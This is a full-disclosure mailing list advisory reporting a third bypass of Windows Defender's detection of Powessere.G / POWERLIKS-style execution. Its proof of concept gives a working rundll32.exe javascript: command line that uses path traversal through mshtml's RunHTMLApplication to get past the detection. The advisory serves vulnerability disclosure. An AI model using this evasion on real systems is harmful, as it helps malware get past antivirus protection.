full-disclosure - [FD] Microsoft Windows Defender / Trojan.Win32/Powessere.G / Detection Mitigation Bypass Part 3

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Date: Fri, 16 Feb 2024 23:48:45 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Microsoft Windows Defender / Trojan.Win32/Powessere.G /
 Detection Mitigation Bypass Part 3

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART_3.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Windows Defender

[Vulnerability Type]
Windows Defender Detection Mitigation Bypass
TrojanWin32Powessere.G

[CVE Reference]
N/A

[Security Issue]
Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka
"POWERLIKS" type execution that leverages rundll32.exe. Attempts at
execution fail
and attackers will typically get an "Access is denied" error message.

Back in 2022, I first disclosed how that could be easily bypassed by
passing an extra path traversal when referencing mshtml but since has been
mitigated.
Recently Feb 7, 2024, I disclosed using multi-commas "," will bypass that
mitigation but has since been fixed again.
The fix was short lived as I find yet another third trivial bypass soon
after.

[Exploit/POC]
Open command prompt as Administrator.

C:\sec>rundll32.exe javascript:"\..\..\mshtml,,RunHTMLApplication
";alert(13)
Access is denied.

C:\sec>rundll32.exe
javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication
";alert('HYP3RLINX')

[Video PoC URL]
https://www.youtube.com/watch?v=yn9gdJ7c7Kg

[Network Access]
Local

[Severity]
High

[References]
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt
https://twitter.com/hyp3rlinx/status/1755417914599956833
https://twitter.com/hyp3rlinx/status/1758624140213264601

[Disclosure Timeline]
Vendor Notification:
February 16, 2024 : Public Disclosure

[+] Disclaimer
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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